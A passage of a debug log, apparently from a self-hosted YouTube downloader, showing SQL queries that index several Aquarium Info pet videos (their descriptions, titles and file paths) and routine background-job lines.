🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Got a Pet Dragon...", "FCVuWcU475c", "https://www.youtube.com/watch?v=FCVuWcU475c", 32, 772, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", false, ~U[2025-04-20 14:13:15Z]] 11:12:41.174 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.175 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-08 16:17:29Z], 32] 11:12:41.177 [debug] QUERY OK source="media_items" db=1.2ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising Tadpoles to Frogs (100 Day Evolution)", "618bc01a-f3d9-4578-b459-4d59aedb4799", "G6HL0WyBDMM", false, "https://www.youtube.com/watch?v=G6HL0WyBDMM", 32, [], 612, false, 14, "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", false, false, 98, ~U[2025-03-08 16:17:29Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising Tadpoles to Frogs (100 Day Evolution)", "G6HL0WyBDMM", "https://www.youtube.com/watch?v=G6HL0WyBDMM", 32, 612, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", false, ~U[2025-03-08 16:17:29Z]] 11:12:41.177 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.178 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-08 19:22:55Z], 32] 11:12:41.179 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Rescued an Abandoned Axolotl...", "006a1e5c-d74e-4897-9617-80228d6a1347", "m-EL5Fti1TM", false, "https://www.youtube.com/watch?v=m-EL5Fti1TM", 32, [], 503, false, 15, "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued an Abandoned Axolotl....mkv", false, false, 98, ~U[2025-02-08 19:22:55Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Rescued an Abandoned Axolotl...", "m-EL5Fti1TM", "https://www.youtube.com/watch?v=m-EL5Fti1TM", 32, 503, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued an Abandoned Axolotl....mkv", false, ~U[2025-02-08 19:22:55Z]] 11:12:41.180 [debug] QUERY OK source="sources" db=0.2ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.180 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-17 19:13:49Z], 32] 11:12:41.183 [debug] QUERY OK source="media_items" db=1.6ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Pickle, a grocery store king crab I am keeping as a pet! #sponsored Try @YouTube Premium for 2 months free by clicking the link! youtube.com/premium?cc=aquariuminfo&utm_campaign=ytpcreator \nIndividual Premium Plan. Monthly paid subscription. Price per month varies. First 2 months free. Terms apply. Cancel anytime.\n\nIn this video, we rescue an Alaskan king crab from the grocery store and name him Pickle. He was the smallest supermarket king crab and only weighed 6lbs. I just had to save this pet and build him a dream fish tank. I recently rescued Noodle, my grocery store crab, and Mochi, my grocery store lobster, and built them Bikini Bottom and a secret bunker, so I had to do something epic for my new king crab pet, Pickle!\n\nVideo inspired by: @JustJoshingHere and @Brady Brandwood - I learned so much about rescuing a grocery store crab and a grocery store lobster from these channels! Definitely check out Leon the Lobster, Pancake and Waffle the crabs. They are super cute! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store king crab named Pickle from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him, complete with a sunken Titanic. We even explore the Titanic with an RC submarine!\n\nWatch until the end to see what Pickle thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Pickle\" so I notice you 🤴 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Grocery Store King Crab as a Pet", "f15d4576-ec95-4129-bcda-e2cabe5f4010", "Yj-9KaNfqtE", false, "https://www.youtube.com/watch?v=Yj-9KaNfqtE", 32, [], 533, false, 16, "/downloads/shows/Aquarium Info/Season 2024/s2024e121700 - Raising a Grocery Store King Crab as a Pet.mkv", false, false, 98, ~U[2024-12-17 19:13:49Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "Meet Pickle, a grocery store king crab I am keeping as a pet! #sponsored Try @YouTube Premium for 2 months free by clicking the link! youtube.com/premium?cc=aquariuminfo&utm_campaign=ytpcreator \nIndividual Premium Plan. Monthly paid subscription. Price per month varies. First 2 months free. Terms apply. Cancel anytime.\n\nIn this video, we rescue an Alaskan king crab from the grocery store and name him Pickle. He was the smallest supermarket king crab and only weighed 6lbs. I just had to save this pet and build him a dream fish tank. I recently rescued Noodle, my grocery store crab, and Mochi, my grocery store lobster, and built them Bikini Bottom and a secret bunker, so I had to do something epic for my new king crab pet, Pickle!\n\nVideo inspired by: @JustJoshingHere and @Brady Brandwood - I learned so much about rescuing a grocery store crab and a grocery store lobster from these channels! Definitely check out Leon the Lobster, Pancake and Waffle the crabs. They are super cute! \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store king crab named Pickle from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him, complete with a sunken Titanic. We even explore the Titanic with an RC submarine!\n\nWatch until the end to see what Pickle thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Pickle\" so I notice you 🤴 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising a Grocery Store King Crab as a Pet", "Yj-9KaNfqtE", "https://www.youtube.com/watch?v=Yj-9KaNfqtE", 32, 533, false, "/downloads/shows/Aquarium Info/Season 2024/s2024e121700 - Raising a Grocery Store King Crab as a Pet.mkv", false, ~U[2024-12-17 19:13:49Z]] 11:12:41.183 [debug] QUERY OK source="sources" db=0.1ms idle=5.1ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], 32] 11:12:41.184 [debug] QUERY OK source="media_items" db=0.6ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 11:12:41.185 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 11:12:41.185 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 11:12:41.186 [debug] QUERY OK source="tasks" db=0.1ms idle=2.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7260, 32, ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z]] 11:12:41.187 [info] {"args":{"id":32},"id":7243,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":41433378,"event":"job:stop","queue_time":150175,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:12:52.960 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.254 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:13:22.962 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:52.965 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.256 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:14:22.968 [info] {"source":"oban","duration":2188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:52.971 [info] {"source":"oban","duration":2200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.258 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:15:22.974 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:52.977 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.260 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:16:22.980 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:52.982 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.260 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:17:22.983 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:52.986 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.262 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:18:22.986 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:52.989 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.264 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 